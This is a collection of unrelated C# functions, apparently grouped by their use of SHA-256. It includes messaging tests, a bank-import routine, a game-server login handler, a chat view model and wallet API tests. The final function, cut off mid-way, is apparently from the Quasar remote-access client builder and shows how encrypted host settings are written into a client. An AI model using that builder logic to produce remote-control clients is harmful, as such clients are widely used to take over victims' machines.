serverConnection.CreateChannelAsync().ConfigureAwait(false); WriteLog("Server channel created"); var rec = new List <byte[]>(); var sent = new List <byte[]>(); clientReceivedMessageHashes.Add(rec); clientSentMessageHashes.Add(sent); channelTasks.Add(TaskRunner.RunInBackground(() => HandleChannelAsync(channel, channelExchange.ClientMessageLengths, rec, sent))); } await Task.WhenAll(channelTasks).ConfigureAwait(false); }); var clientTask = TaskRunner.RunInBackground( async() => { clientConnection = await Client.ConnectAsync(BrokerWorkingDir).ConfigureAwait(false); WriteLog("Client connection created"); var channelTasks = new List <Task>(); foreach (var channelExchange in cases) { var channel = await clientConnection.IncomingChannels.ReadAsync().ConfigureAwait(false); WriteLog("Client channel received"); var rec = new List <byte[]>(); var sent = new List <byte[]>(); serverReceivedMessageHashes.Add(rec); serverSentMessageHashes.Add(sent); channelTasks.Add(TaskRunner.RunInBackground(() => HandleChannelAsync(channel, channelExchange.ServerMessageLengths, rec, sent))); } await Task.WhenAll(channelTasks).ConfigureAwait(false); }); Should.CompleteIn(Task.WhenAll(serverTask, clientTask), Timeout30Sec); Should.CompleteIn(clientConnection.CompleteAsync(), Timeout1Sec); Should.CompleteIn(serverConnection.CompleteAsync(), Timeout1Sec); WriteLog("Tasks completed"); serverReceivedMessageHashes.Count.ShouldBe(cases.Length); serverSentMessageHashes.Count.ShouldBe(cases.Length); clientReceivedMessageHashes.Count.ShouldBe(cases.Length); clientSentMessageHashes.Count.ShouldBe(cases.Length); for (int i = 0; i < serverReceivedMessageHashes.Count; i++) { serverReceivedMessageHashes[i].Count.ShouldBe(clientSentMessageHashes[i].Count); for (int j = 0; j < serverReceivedMessageHashes[i].Count; j++) { serverReceivedMessageHashes[i][j].ShouldBe(clientSentMessageHashes[i][j]); } } for (int i = 0; i < clientReceivedMessageHashes.Count; i++) { clientReceivedMessageHashes[i].Count.ShouldBe(serverSentMessageHashes[i].Count); for (int j = 0; j < clientReceivedMessageHashes[i].Count; j++) { clientReceivedMessageHashes[i][j].ShouldBe(serverSentMessageHashes[i][j]); } } }
public static ImportExternalTransactionDataResults ImportExternalTransactionData(ExternalBankData import, ImportExternalTransactionDataArgs args) { FinancialAccount assetAccount = args.Account; FinancialAccount autoDepositAccount = args.Organization.FinancialAccounts.IncomeDonations; int autoDepositLimit = 0; // Disabled; TODO: this.CurrentOrganization.Parameters.AutoDonationLimit; bool autosetInitialBalance = false; ImportExternalTransactionDataResults result = new ImportExternalTransactionDataResults(); int count = 0; int progressUpdateInterval = import.Records.Length / 40; Int64 importedCentsTotal = 0; if (progressUpdateInterval > 100) { progressUpdateInterval = 100; } ProgressBarBackend progressDisplay = new ProgressBarBackend(args.Guid); Currency organizationCurrency = assetAccount.Organization.Currency; Currency accountCurrency = assetAccount.ForeignCurrency; if (accountCurrency == null) { accountCurrency = organizationCurrency; } FinancialAccountRows existingRows = assetAccount.GetRows(Constants.DateTimeLow, Constants.DateTimeHigh); // gets all if (existingRows.Count == 0) { autosetInitialBalance = true; } foreach (ExternalBankDataRecord row in import.Records) { // Update progress. count++; if (progressUpdateInterval < 2 || count % progressUpdateInterval == 0) { int percent = (count * 99) / import.Records.Length; progressDisplay.Set(percent); } // Update high- and low-water marks. if (row.DateTime < result.EarliestTransaction) { result.EarliestTransaction = row.DateTime; } if (row.DateTime > result.LatestTransaction) { result.LatestTransaction = row.DateTime; } string importKey = row.ImportHash; Int64 amountCents = row.TransactionNetCents; if (amountCents == 0) // defensive programming - these _should_ be duplicated in the interpreter if no "fee" field { amountCents = row.TransactionGrossCents; } Int64 foreignCents = amountCents; importedCentsTotal += amountCents; if (accountCurrency.Identity != organizationCurrency.Identity) { amountCents = new Money(amountCents, accountCurrency, row.DateTime).ToCurrency(organizationCurrency).Cents; } FinancialTransaction transaction = FinancialTransaction.ImportWithStub(args.Organization.Identity, row.DateTime, assetAccount.Identity, amountCents, row.Description, importKey, Sha256.Compute(row.RawData), args.CurrentUser.Identity); if (transaction != null) { // The transaction was created. result.TransactionsImported++; // If non-presentation currency, log the account currency amount as well. if (accountCurrency.Identity != organizationCurrency.Identity) { transaction.Rows[0].AmountForeignCents = new Money(foreignCents, accountCurrency); } if (row.Description.ToLowerInvariant().StartsWith(args.Organization.IncomingPaymentTag)) { // Check for previously imported payment group // TODO: MAKE FLEXIBLE - CALL PAYMENTREADERINTERFACE! // HACK HACK HACK HACK PaymentGroup group = PaymentGroup.FromTag(args.Organization, "SEBGM" + DateTime.Today.Year + // TODO: Get tags from org row.Description.Substring(args.Organization.IncomingPaymentTag.Length).Trim()); if (group != null && group.Open) { // There was a previously imported and not yet closed payment group matching this transaction // Close the payment group and match the transaction against accounts receivable transaction.Dependency = group; group.Open = false; transaction.AddRow(args.Organization.FinancialAccounts.AssetsOutboundInvoices, -amountCents, args.CurrentUser); } } else if (amountCents < 0) { // Autowithdrawal mechanisms removed, condition kept because of downstream else-if conditions } else if (amountCents > 0) { if (row.FeeCents < 0) { // This is always an autodeposit, if there is a fee (which is never > 0.0) transaction.AddRow(args.Organization.FinancialAccounts.CostsBankFees, -row.FeeCents, args.CurrentUser); transaction.AddRow(autoDepositAccount, -row.TransactionGrossCents, args.CurrentUser); } else if (amountCents < autoDepositLimit * 100) { // Book against autoDeposit account. transaction.AddRow(autoDepositAccount, -amountCents, args.CurrentUser); } } } else { // Transaction was not imported; assume duplicate result.DuplicateTransactions++; } } // Import complete. Return true if the bookkeeping account matches the bank data. Int64 databaseAccountBalanceCents; if (accountCurrency.Identity == organizationCurrency.Identity) { databaseAccountBalanceCents = assetAccount.BalanceTotalCents; } else { // foreign-currency account databaseAccountBalanceCents = assetAccount.ForeignCurrencyBalance.Cents; } // Subtract any transactions made after the most recent imported transaction. // This is necessary in case of Paypal and others which continuously feed the // bookkeeping account with new transactions; it will already have fed transactions // beyond the end-of-file. Int64 beyondEofCents = assetAccount.GetDeltaCents(result.LatestTransaction.AddSeconds(1), DateTime.Now.AddDays(2)); // Caution: the "AddSeconds(1)" is not foolproof, there may be other new txs on the same second. if (databaseAccountBalanceCents - beyondEofCents == import.LatestAccountBalanceCents) { Payouts.AutomatchAgainstUnbalancedTransactions(args.Organization); OutboundInvoices.AutomatchAgainstUnbalancedTransactions(args.Organization, args.CurrentUser); result.AccountBalanceMatchesBank = true; result.BalanceMismatchCents = 0; } else { result.AccountBalanceMatchesBank = false; result.BalanceMismatchCents = (databaseAccountBalanceCents - beyondEofCents) - import.LatestAccountBalanceCents; if (autosetInitialBalance) { Int64 newInitialBalanceCents = -result.BalanceMismatchCents; Money initialBalance = new Money(newInitialBalanceCents, accountCurrency); assetAccount.InitialBalance = initialBalance; result.InitialBalanceCents = newInitialBalanceCents; result.InitialBalanceCurrencyCode = accountCurrency.Code; // make an approximation of conversion rate set for initial balance in presentation to tell user initialBalance.ValuationDateTime = new DateTime(assetAccount.Organization.FirstFiscalYear, 1, 1); result.BalanceMismatchCents = initialBalance.ToCurrency(assetAccount.Organization.Currency).Cents; } } result.CurrencyCode = args.Organization.Currency.Code; GuidCache.Set(args.Guid + "-Results", result); return(result); }
void HandleAuthSessionCallback(AuthSession authSession, SQLResult result) { // Stop if the account is not found if (result.IsEmpty()) { Log.outError(LogFilter.Network, "HandleAuthSession: Sent Auth Response (unknown account)."); CloseSocket(); return; } AccountInfo account = new AccountInfo(result.GetFields()); // For hook purposes, we get Remoteaddress at this point. string address = GetRemoteIpAddress().ToString(); byte[] clientSeed = ClientTypeSeed_Win; if (account.game.OS == "Wn64") { clientSeed = ClientTypeSeed_Wn64; } else if (account.game.OS == "Mc64") { clientSeed = ClientTypeSeed_Mc64; } Sha256 digestKeyHash = new Sha256(); digestKeyHash.Process(account.game.SessionKey, account.game.SessionKey.Length); digestKeyHash.Finish(clientSeed, clientSeed.Length); HmacSha256 hmac = new HmacSha256(digestKeyHash.Digest); hmac.Process(authSession.LocalChallenge, authSession.LocalChallenge.Count); hmac.Process(_serverChallenge, 16); hmac.Finish(AuthCheckSeed, 16); // Check that Key and account name are the same on client and server if (!hmac.Digest.Compare(authSession.Digest)) { Log.outError(LogFilter.Network, "WorldSocket.HandleAuthSession: Authentication failed for account: {0} ('{1}') address: {2}", account.game.Id, authSession.RealmJoinTicket, address); CloseSocket(); return; } Sha256 keyData = new Sha256(); keyData.Finish(account.game.SessionKey, account.game.SessionKey.Length); HmacSha256 sessionKeyHmac = new HmacSha256(keyData.Digest); sessionKeyHmac.Process(_serverChallenge, 16); sessionKeyHmac.Process(authSession.LocalChallenge, authSession.LocalChallenge.Count); sessionKeyHmac.Finish(SessionKeySeed, 16); _sessionKey = new byte[40]; var sessionKeyGenerator = new SessionKeyGenerator(sessionKeyHmac.Digest, 32); sessionKeyGenerator.Generate(_sessionKey, 40); // As we don't know if attempted login process by ip works, we update last_attempt_ip right away PreparedStatement stmt = DB.Login.GetPreparedStatement(LoginStatements.UPD_LAST_ATTEMPT_IP); stmt.AddValue(0, address); stmt.AddValue(1, authSession.RealmJoinTicket); DB.Login.Execute(stmt); // This also allows to check for possible "hack" attempts on account stmt = DB.Login.GetPreparedStatement(LoginStatements.UPD_ACCOUNT_INFO_CONTINUED_SESSION); stmt.AddValue(0, _sessionKey.ToHexString()); stmt.AddValue(1, account.game.Id); DB.Login.Execute(stmt); // First reject the connection if packet contains invalid data or realm state doesn't allow logging in if (Global.WorldMgr.IsClosed()) { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outError(LogFilter.Network, "WorldSocket.HandleAuthSession: World closed, denying client ({0}).", GetRemoteIpAddress()); CloseSocket(); return; } if (authSession.RealmID != Global.WorldMgr.GetRealm().Id.Realm) { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outError(LogFilter.Network, "WorldSocket.HandleAuthSession: Client {0} requested connecting with realm id {1} but this realm has id {2} set in config.", GetRemoteIpAddress().ToString(), authSession.RealmID, Global.WorldMgr.GetRealm().Id.Realm); CloseSocket(); return; } // Must be done before WorldSession is created bool wardenActive = WorldConfig.GetBoolValue(WorldCfg.WardenEnabled); if (wardenActive && account.game.OS != "Win" && account.game.OS != "Wn64" && account.game.OS != "Mc64") { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outError(LogFilter.Network, "WorldSocket.HandleAuthSession: Client {0} attempted to log in using invalid client OS ({1}).", address, account.game.OS); CloseSocket(); return; } //Re-check ip locking (same check as in auth). if (account.battleNet.IsLockedToIP) // if ip is locked { if (account.battleNet.LastIP != address) { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outDebug(LogFilter.Network, "HandleAuthSession: Sent Auth Response (Account IP differs)."); CloseSocket(); return; } } else if (!account.battleNet.LockCountry.IsEmpty() && account.battleNet.LockCountry != "00" && !_ipCountry.IsEmpty()) { if (account.battleNet.LockCountry != _ipCountry) { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outDebug(LogFilter.Network, "WorldSocket.HandleAuthSession: Sent Auth Response (Account country differs. Original country: {0}, new country: {1}).", account.battleNet.LockCountry, _ipCountry); CloseSocket(); return; } } long mutetime = account.game.MuteTime; //! Negative mutetime indicates amount of seconds to be muted effective on next login - which is now. if (mutetime < 0) { mutetime = Time.UnixTime + mutetime; stmt = DB.Login.GetPreparedStatement(LoginStatements.UPD_MUTE_TIME_LOGIN); stmt.AddValue(0, mutetime); stmt.AddValue(1, account.game.Id); DB.Login.Execute(stmt); } if (account.IsBanned()) // if account banned { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outError(LogFilter.Network, "WorldSocket:HandleAuthSession: Sent Auth Response (Account banned)."); CloseSocket(); return; } // Check locked state for server AccountTypes allowedAccountType = Global.WorldMgr.GetPlayerSecurityLimit(); if (allowedAccountType > AccountTypes.Player && account.game.Security < allowedAccountType) { SendAuthResponseError(BattlenetRpcErrorCode.Denied); Log.outInfo(LogFilter.Network, "WorldSocket:HandleAuthSession: User tries to login but his security level is not enough"); CloseSocket(); return; } Log.outDebug(LogFilter.Network, "WorldSocket:HandleAuthSession: Client '{0}' authenticated successfully from {1}.", authSession.RealmJoinTicket, address); // Update the last_ip in the database stmt = DB.Login.GetPreparedStatement(LoginStatements.UPD_LAST_IP); stmt.AddValue(0, address); stmt.AddValue(1, authSession.RealmJoinTicket); DB.Login.Execute(stmt); _worldSession = new WorldSession(account.game.Id, authSession.RealmJoinTicket, account.battleNet.Id, this, account.game.Security, (Expansion)account.game.Expansion, mutetime, account.game.OS, account.battleNet.Locale, account.game.Recruiter, account.game.IsRectuiter); // Initialize Warden system only if it is enabled by config //if (wardenActive) //_worldSession.InitWarden(_sessionKey); _queryProcessor.AddQuery(_worldSession.LoadPermissionsAsync().WithCallback(LoadSessionPermissionsCallback)); }
private static Chunk Compute(Span <Chunk> span) { return(MemoryMarshal.Cast <byte, Chunk>(Sha256.Compute(MemoryMarshal.Cast <Chunk, byte>(span)).Bytes)[0]); }
private void Init() { { IObservable <object> clipboardObservable; { var returnObservable = Observable.Return((object)null); var watchObservable = Observable.FromEventPattern <EventHandler, EventArgs>(h => Clipboard.ClipboardChanged += h, h => Clipboard.ClipboardChanged -= h).Select(n => (object)null); clipboardObservable = Observable.Merge(returnObservable, watchObservable); } this.TabViewModel = new ReactiveProperty <ChatCategoryViewModel>().AddTo(_disposable); this.TabSelectedItem = new ReactiveProperty <TreeViewModelBase>().AddTo(_disposable); this.TabSelectedItem.Subscribe((viewModel) => this.TabSelectChanged(viewModel)).AddTo(_disposable); this.Info = new ReactiveProperty <AvalonEditChatMessagesInfo>().AddTo(_disposable); this.SelectedText = new ReactiveProperty <string>().AddTo(_disposable); this.TabClickCommand = new ReactiveCommand().AddTo(_disposable); this.TabClickCommand.Where(n => n == this.TabSelectedItem.Value).Subscribe((_) => this.Refresh()).AddTo(_disposable); this.TabNewCategoryCommand = this.TabSelectedItem.Select(n => n is ChatCategoryViewModel).ToReactiveCommand().AddTo(_disposable); this.TabNewCategoryCommand.Subscribe(() => this.TabNewCategory()).AddTo(_disposable); this.TabEditCommand = this.TabSelectedItem.Select(n => n is ChatCategoryViewModel).ToReactiveCommand().AddTo(_disposable); this.TabEditCommand.Subscribe(() => this.TabEdit()).AddTo(_disposable); this.TabDeleteCommand = this.TabSelectedItem.Select(n => n != this.TabViewModel.Value).ToReactiveCommand().AddTo(_disposable); this.TabDeleteCommand.Subscribe(() => this.TabDelete()).AddTo(_disposable); this.TabCutCommand = new ReactiveCommand().AddTo(_disposable); this.TabCutCommand.Subscribe(() => this.TabCut()).AddTo(_disposable); this.TabCopyCommand = new ReactiveCommand().AddTo(_disposable); this.TabCopyCommand.Subscribe(() => this.TabCopy()).AddTo(_disposable); this.TabPasteCommand = this.TabSelectedItem.Select(n => n is ChatCategoryViewModel) .CombineLatest(clipboardObservable.Select(n => Clipboard.ContainsTags() || Clipboard.ContainsChatCategoryInfo() || Clipboard.ContainsChatThreadInfo()), (r1, r2) => r1 && r2).ToReactiveCommand().AddTo(_disposable); this.TabPasteCommand.Subscribe(() => this.TabPaste()).AddTo(_disposable); this.TabTagListCommand = this.TabSelectedItem.Select(n => n is ChatCategoryViewModel).ToReactiveCommand().AddTo(_disposable); this.TabTagListCommand.Subscribe(() => this.TabTagList()).AddTo(_disposable); this.TrustFilterCommand = this.TabSelectedItem.Select(n => n is ChatThreadViewModel).ToReactiveCommand().AddTo(_disposable); this.TrustFilterCommand.Subscribe(() => this.TrustFilter()).AddTo(_disposable); this.IsTrustFilterEnable = new ReactiveProperty <bool>().AddTo(_disposable); this.NewFilterCommand = this.TabSelectedItem.Select(n => n is ChatThreadViewModel).ToReactiveCommand().AddTo(_disposable); this.NewFilterCommand.Subscribe(() => this.NewFilter()).AddTo(_disposable); this.IsNewFilterEnable = new ReactiveProperty <bool>().AddTo(_disposable); this.MiningLimits = new ObservableCollection <int>(Enumerable.Range(0, 256 + 1)); this.SelectedMiningLimit = new ReactiveProperty <int>().AddTo(_disposable); this.SelectedMiningLimit.Subscribe((_) => this.Refresh()).AddTo(_disposable); this.NewMessageCommand = this.TabSelectedItem.Select(n => n is ChatThreadViewModel).ToReactiveCommand().AddTo(_disposable); this.NewMessageCommand.Subscribe(() => this.NewMessage()).AddTo(_disposable); this.CopyCommand = this.SelectedText.Select(n => !string.IsNullOrEmpty(n)).ToReactiveCommand().AddTo(_disposable); this.CopyCommand.Subscribe(() => this.Copy()).AddTo(_disposable); this.ResponseCommand = this.SelectedText.Select(n => !string.IsNullOrEmpty(n)).ToReactiveCommand().AddTo(_disposable); this.ResponseCommand.Subscribe(() => this.Response()).AddTo(_disposable); } { string configPath = Path.Combine(AmoebaEnvironment.Paths.ConfigPath, "View", nameof(ChatControl)); if (!Directory.Exists(configPath)) { Directory.CreateDirectory(configPath); } _settings = new Settings(configPath); int version = _settings.Load("Version", () => 0); { var model = _settings.Load("ChatCategoryInfo", () => { var categoryInfo = new ChatCategoryInfo() { Name = "Category", IsExpanded = true }; categoryInfo.ThreadInfos.Add(new ChatThreadInfo() { Tag = new Tag("Amoeba", Sha256.ComputeHash("Amoeba")) }); categoryInfo.ThreadInfos.Add(new ChatThreadInfo() { Tag = new Tag("Random", Sha256.ComputeHash("Random")) }); return(categoryInfo); }); this.TabViewModel.Value = new ChatCategoryViewModel(null, model); } this.SelectedMiningLimit.Value = _settings.Load("MiningLimit", () => 0); this.DynamicOptions.SetProperties(_settings.Load(nameof(DynamicOptions), () => Array.Empty <DynamicOptions.DynamicPropertyInfo>())); } { Backup.Instance.SaveEvent += this.Save; } }
public void LoginTest() { string clientInfo = "<android>; Model:<Android SDK built for x86>; Os:<android>; Screen:<1080x1794>;"; string code = "0000"; string token = null; string accessToken = null; string encodedPrivateKey = null; ApplicationInfoResponseModel appInfo = null; //STEP 1 var getClientState = walletApi.ClientState .GetClientState(email, null) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(getClientState.GetResponseObject().Result .IsRegistered, Is.True, "Trying to login by unregistered account"); //STEP 2 var postAuth = walletApi.Auth .PostAuthResponse(new AuthenticateModel() { ClientInfo = clientInfo, Email = email, Password = Sha256.GenerateHash(password) }) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); var postAuthResult = postAuth.GetResponseObject().Result; Assert.That(postAuthResult.PersonalData.Email, Is.EqualTo(email)); Assert.That(postAuthResult.Token, Is.Not.Null); token = postAuthResult.Token; //STEP 3 var getCheckDocumentsToUpload = walletApi.CheckDocumentsToUpload .GetCheckDocumentsToUpload(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 4 var getPinSecurity = walletApi.PinSecurity .GetPinSecurity(pin, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(getPinSecurity.GetResponseObject().Result .Passed, Is.True); //STEP 5 var getClientCode = walletApi.Client .GetClientCodes(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 6 var postClientCodes = walletApi.Client .PostClientCodes(new SubmitCodeModel() { Code = code }, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); accessToken = postClientCodes.GetResponseObject().Result.AccessToken; Assert.That(accessToken, Is.Not.Null); //STEP 7 POST https://api-test.lykkex.net/api/Client/keys/encodedmainkey var postEncodedMainKey = walletApi.Client .PostClientEncodedMainKey(new AccessTokenModel { AccessToken = accessToken }, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); encodedPrivateKey = postEncodedMainKey.GetResponseObject().Result.EncodedPrivateKey; Assert.That(encodedPrivateKey, Is.Not.Null); //STEP 8 getClientState = walletApi.ClientState .GetClientState(email, null) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 9 GET https://api-test.lykkex.net/api/Dicts/Assets var getDictAssets = walletApi.Dicts.GetAssetts(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 10 GET https://api-test.lykkex.net/api/BaseAssets var getBaseAssets = walletApi.BaseAssets.GetBaseAssets(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 11 GET https://api-test.lykkex.net/api/AppSettings var getAppSettings = walletApi.AppSettings.GetAppSettings(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 12 GET https://api-test.lykkex.net/api/ApplicationInfo var getApplicationInfo = walletApi.ApplicationInfo.GetApplicationInfo() .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); appInfo = getApplicationInfo.GetResponseObject().Result; //TODO: Add asserts //STEP 13 GET https://api-test.lykkex.net/api/AssetPairs var getAssetPairs = walletApi.AssetPairs.GetAssetPairs(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 14 GET https://api-test.lykkex.net/api/Issuers var getIssuers = walletApi.Issuers.Get(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 15 GET https://api-test.lykkex.net/api/Client/pendingActions var getPendingActions = walletApi.Client.GetClientPendingActions(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 16 GET https://api-test.lykkex.net/api/offchain/limit/list var getOffchainLimitList = walletApi.LimitOrders.GetOffchainLimitList(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 17 GET https://api-test.lykkex.net/api/offchain/limit/count var getOffchainLimitCount = walletApi.LimitOrders.GetOffchainLimitCount(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 18 GET https://api-test.lykkex.net/api/Dictionary/ico var getDictionaryIco = walletApi.Dictionary.GetDictionaryKey("ico") .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 19 GET https://api-test.lykkex.net/api/assetcategories var getAssetCategories = walletApi.AssetsCategories.GetAssetsCategories(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 20 GET https://mt-api-test.lykkex.net/api/init/data //TODO: ADD //STEP 21 GET https://api-test.lykkex.net/api/Wallets var getWallets = walletApi.Wallets.GetWalltes(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 22 GET https://mt-api-test.lykkex.net/api/watchlists //var getWatchlists = walletApi.WatchLists.Get(token) // .Validate.StatusCode(HttpStatusCode.OK) // .Validate.NoApiError(); //TODO: Add asserts //STEP 23 GET https://mt-api-test.lykkex.net/api/orders //TODO: ADD //STEP 24 GET https://api-test.lykkex.net/api/offchain/limit/count getOffchainLimitCount = walletApi.LimitOrders.GetOffchainLimitCount(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts //STEP 25 GET https://api-test.lykkex.net/api/offchain/limit/list getOffchainLimitList = walletApi.LimitOrders.GetOffchainLimitList(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //TODO: Add asserts }
public void ComputeHashTest(byte[] message, byte[] expectedHash) { using Sha256 sha = new Sha256(); byte[] actualHash = sha.ComputeHash(message); Assert.Equal(expectedHash, actualHash); }
public void RegisterTest() { string firstName = "Autotest"; string lastName = "User"; string clientInfo = "iPhone; Model:6 Plus; Os:9.3.5; Screen:414x736"; string hint = "qwe"; string phonePrefix = null; string phoneNumber = TestData.GenerateNumbers(9); string token = null; string country = null; var bitcoinPrivateKey = new NBitcoin.Key().GetWif(NBitcoin.Network.TestNet); //STEP 0 var getApplicationInfo = walletApi.ApplicationInfo .GetApplicationInfo() .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 1 ////var getClientState = walletApi.ClientState //// .GetClientState(email, null) //// .Validate.StatusCode(HttpStatusCode.OK) //// .Validate.NoApiError(); ////Assert.That(getClientState.GetResponseObject().Result //// .IsRegistered, Is.False); //STEP 2 var postEmailVerification = walletApi.EmailVerification .PostEmailVerification(new PostEmailModel() { Email = email }) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(postEmailVerification.GetResponseObject().Error, Is.Null); //STEP 3 var getEmailVerification = walletApi.EmailVerification .GetEmailVerification(email, code, null) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(getEmailVerification.GetResponseObject().Result.Passed, Is.True); //STEP 4 var postRegistration = walletApi.Registration.PostRegistrationResponse(new AccountRegistrationModel() { ClientInfo = clientInfo, Email = email, Hint = hint, Password = Sha256.GenerateHash(password) }) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.Multiple(() => { var postRegistrationData = postRegistration.GetResponseObject(); Assert.That(postRegistrationData.Result.PersonalData?.Email, Is.EqualTo(email)); Assert.That(postRegistrationData.Result.Token, Is.Not.Null.And.Not.Empty); }); token = postRegistration.GetResponseObject().Result.Token; ////STEP 5 //getClientState = walletApi.ClientState // .GetClientState(email, null) // .Validate.StatusCode(HttpStatusCode.OK) // .Validate.NoApiError(); //Assert.Multiple(() => //{ // var getClientStateData = getClientState.GetResponseObject(); // Assert.That(getClientStateData.Result.IsRegistered, Is.True); // Assert.That(getClientStateData.Result.IsPwdHashed, Is.True); //}); //STEP 6 var getPersonalData = walletApi.PersonalData .GetPersonalDataResponse(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(getPersonalData.GetResponseObject().Result .Email, Is.EqualTo(email)); //STEP 7 var postClientFullName = walletApi.ClientFullName .PostClientFullName(new PostClientFullNameModel() { FullName = $"{firstName} {lastName}" }, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 8 getPersonalData = walletApi.PersonalData .GetPersonalDataResponse(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); var getPersonalDataResult = getPersonalData.GetResponseObject().Result; Assert.That(getPersonalDataResult.FullName, Is.EqualTo($"{firstName} {lastName}")); Assert.That(getPersonalDataResult.FirstName, Is.EqualTo(firstName)); Assert.That(getPersonalDataResult.LastName, Is.EqualTo(lastName)); Assert.That(getPersonalDataResult.Country, Is.Not.Null.And.Not.Empty); country = getPersonalData.GetResponseObject().Result.Country; //STEP 9 var getCountryPhoneCodes = walletApi.CountryPhoneCodes .GetCountryPhoneCodes(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); var getCountryPhoneCodesResult = getCountryPhoneCodes.GetResponseObject().Result; Assert.That(getCountryPhoneCodesResult.Current, Is.EqualTo(country)); phonePrefix = getCountryPhoneCodesResult.CountriesList .FirstOrDefault(c => c.Id == country)?.Prefix; Assert.That(phonePrefix, Is.Not.Null); //STEP 10 var postCheckMobilePhone = walletApi.CheckMobilePhone .PostCheckMobilePhone(new PostClientPhoneModel() { PhoneNumber = phonePrefix + phoneNumber }, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 11 var getCheckMobilePhone = walletApi.CheckMobilePhone .GetCheckMobilePhone(phonePrefix + phoneNumber, code, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(getCheckMobilePhone.GetResponseObject().Result .Passed, Is.True); //STEP 12 var getCheckDocumentsToUpload = walletApi.CheckDocumentsToUpload .GetCheckDocumentsToUpload(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); var getCheckDocumentsToUploadResult = getCheckDocumentsToUpload.GetResponseObject().Result; Assert.That(getCheckDocumentsToUploadResult.IdCard, Is.True); Assert.That(getCheckDocumentsToUploadResult.ProofOfAddress, Is.True); Assert.That(getCheckDocumentsToUploadResult.Selfie, Is.True); //STEP 13 var postPinSecurity = walletApi.PinSecurity .PostPinSecurity(new PinSecurityChangeModel() { Pin = pin }, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); //STEP 14 var getMyLykkeSettings = walletApi.MyLykkeSettings .GetMyLykkeSettings(token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); Assert.That(getMyLykkeSettings.GetResponseObject().Result.MyLykkeEnabled, Is.True); //STEP 15 var postClientKeys = walletApi.ClientKeys .PostClientKeys(new ClientKeysModel() { PubKey = bitcoinPrivateKey.PubKey.ToString(), EncodedPrivateKey = AesUtils.Encrypt(bitcoinPrivateKey.ToString(), password) }, token) .Validate.StatusCode(HttpStatusCode.OK) .Validate.NoApiError(); }
private void WriteSettings(AssemblyDefinition asmDef) { var key = StringHelper.GetRandomString(32); var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, Settings.CertificatePassword, X509KeyStorageFlags.Exportable); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! byte[] signature; using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey) { var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); try { signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); } catch (Exception ex) { Console.WriteLine("Attempting to sign SHA1 Hash instead of SHA256 since certificate doesn't support SHA256"); hash = Sha1.ComputeHash(Encoding.UTF8.GetBytes(key)); signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA1")); } } foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "Quasar.Client.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); break; case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); break; case 3: //installsub 